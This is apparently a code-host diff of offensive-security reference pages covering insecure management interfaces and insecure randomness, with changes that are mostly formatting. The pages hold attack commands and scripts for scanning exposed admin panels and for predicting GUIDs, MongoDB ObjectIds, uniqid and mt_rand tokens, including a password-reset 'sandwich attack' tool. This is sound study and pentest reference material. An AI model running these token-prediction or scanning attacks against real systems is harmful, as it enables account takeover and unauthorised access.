* [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
|
||||||
- [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
|
* [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
|
||||||
- [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
|
* [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
|
||||||
|
|
|
||||||
|
|
@ -1,16 +1,13 @@
|
||||||
# Insecure Management Interface
|
# Insecure Management Interface
|
||||||
|
|
||||||
> Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
|
> Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
|
||||||
|
|
||||||
> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
|
> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Methodology](#methodology)
|
* [Methodology](#methodology)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
|
Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
|
||||||
|
|
@ -24,6 +21,7 @@ Insecure Management Interface vulnerabilities arise when administrative interfac
|
||||||
```
|
```
|
||||||
|
|
||||||
* Exposure to the Public Internet
|
* Exposure to the Public Internet
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
nuclei -t http/exposed-panels -u https://example.com
|
nuclei -t http/exposed-panels -u https://example.com
|
||||||
nuclei -t http/exposures -u https://example.com
|
nuclei -t http/exposures -u https://example.com
|
||||||
|
|
@ -31,16 +29,14 @@ Insecure Management Interface vulnerabilities arise when administrative interfac
|
||||||
|
|
||||||
* Sensitive data transmitted over plain HTTP or other unencrypted protocols
|
* Sensitive data transmitted over plain HTTP or other unencrypted protocols
|
||||||
|
|
||||||
|
|
||||||
**Examples**:
|
**Examples**:
|
||||||
|
|
||||||
* **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
|
* **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
|
||||||
* **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
|
* **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
|
||||||
* **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
|
* **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://capec.mitre.org/data/definitions/121.html)
|
* [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://capec.mitre.org/data/definitions/121.html)
|
||||||
- [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
* [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||||
- [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
* [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
|
> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Methodology](#methodology)
|
* [Methodology](#methodology)
|
||||||
|
|
@ -15,12 +14,10 @@
|
||||||
* [Custom Algorithms](#custom-algorithms)
|
* [Custom Algorithms](#custom-algorithms)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
|
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
|
||||||
|
|
||||||
|
|
||||||
## Time-Based Seeds
|
## Time-Based Seeds
|
||||||
|
|
||||||
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
|
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
|
||||||
|
|
@ -49,12 +46,10 @@ random.seed(seed)
|
||||||
print(random.randint(1, 100))
|
print(random.randint(1, 100))
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## GUID / UUID
|
## GUID / UUID
|
||||||
|
|
||||||
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
|
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
|
||||||
|
|
||||||
|
|
||||||
### GUID Versions
|
### GUID Versions
|
||||||
|
|
||||||
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
|
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
|
||||||
|
|
@ -69,10 +64,10 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
|
||||||
| 4 | randomly generated |
|
| 4 | randomly generated |
|
||||||
| 5 | based on a SHA1 hash |
|
| 5 | based on a SHA1 hash |
|
||||||
|
|
||||||
|
|
||||||
### Tools
|
### Tools
|
||||||
|
|
||||||
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
|
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
|
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
|
||||||
UUID version: 1
|
UUID version: 1
|
||||||
|
|
@ -85,7 +80,6 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
|
||||||
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Mongo ObjectId
|
## Mongo ObjectId
|
||||||
|
|
||||||
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
|
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
|
||||||
|
|
@ -99,17 +93,19 @@ Token example
|
||||||
|
|
||||||
* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
|
* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
|
||||||
|
|
||||||
|
|
||||||
### Tools
|
### Tools
|
||||||
|
|
||||||
* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
|
* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
|
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
|
||||||
5ae9bac82c144b9def01ec39
|
5ae9bac82c144b9def01ec39
|
||||||
5ae9bacf2c144b9def01ec3a
|
5ae9bacf2c144b9def01ec3a
|
||||||
5ae9bada2c144b9def01ec3b
|
5ae9bada2c144b9def01ec3b
|
||||||
```
|
```
|
||||||
|
|
||||||
* Python script to recover the `timestamp`, `process` and `counter`
|
* Python script to recover the `timestamp`, `process` and `counter`
|
||||||
|
|
||||||
```py
|
```py
|
||||||
def MongoDB_ObjectID(timestamp, process, counter):
|
def MongoDB_ObjectID(timestamp, process, counter):
|
||||||
return "%08x%10x%06x" % (
|
return "%08x%10x%06x" % (
|
||||||
|
|
@ -135,7 +131,6 @@ Token example
|
||||||
print(f"{token}: {timestamp} - {process} - {counter}")
|
print(f"{token}: {timestamp} - {process} - {counter}")
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Uniqid
|
## Uniqid
|
||||||
|
|
||||||
Token derived using `uniqid` are based on timestamp and they can be reversed.
|
Token derived using `uniqid` are based on timestamp and they can be reversed.
|
||||||
|
|
@ -148,7 +143,6 @@ Token examples
|
||||||
* uniqid: `6659cea087cd6`, `6659cea087cea`
|
* uniqid: `6659cea087cd6`, `6659cea087cea`
|
||||||
* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
|
* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
|
||||||
|
|
||||||
|
|
||||||
### Tools
|
### Tools
|
||||||
|
|
||||||
```py
|
```py
|
||||||
|
|
@ -172,7 +166,6 @@ for token in tokens:
|
||||||
print(f"{token} - {t} => {d}")
|
print(f"{token} - {t} => {d}")
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## mt_rand
|
## mt_rand
|
||||||
|
|
||||||
Breaking mt_rand() with two output values and no bruteforce.
|
Breaking mt_rand() with two output values and no bruteforce.
|
||||||
|
|
@ -186,7 +179,6 @@ Breaking mt_rand() with two output values and no bruteforce.
|
||||||
./reverse_mt_rand.py 712530069 674417379 123 1
|
./reverse_mt_rand.py 712530069 674417379 123 1
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Custom Algorithms
|
## Custom Algorithms
|
||||||
|
|
||||||
Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
|
Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
|
||||||
|
|
@ -194,25 +186,23 @@ Creating your own randomness algorithm is generally not recommended. Below are s
|
||||||
* `$token = md5($emailId).rand(10,9999);`
|
* `$token = md5($emailId).rand(10,9999);`
|
||||||
* `$token = md5(time()+123456789 % rand(4000, 55000000));`
|
* `$token = md5(time()+123456789 % rand(4000, 55000000));`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Tools
|
### Tools
|
||||||
|
|
||||||
Generic identification and sandwitch attack:
|
Generic identification and sandwitch attack:
|
||||||
|
|
||||||
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
|
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
|
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
|
||||||
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
|
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
|
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
|
||||||
- [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
||||||
- [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
|
* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
|
||||||
- [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
|
* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
|
||||||
- [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
|
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
|
||||||
- [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
|
* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
|
||||||
- [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
|
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue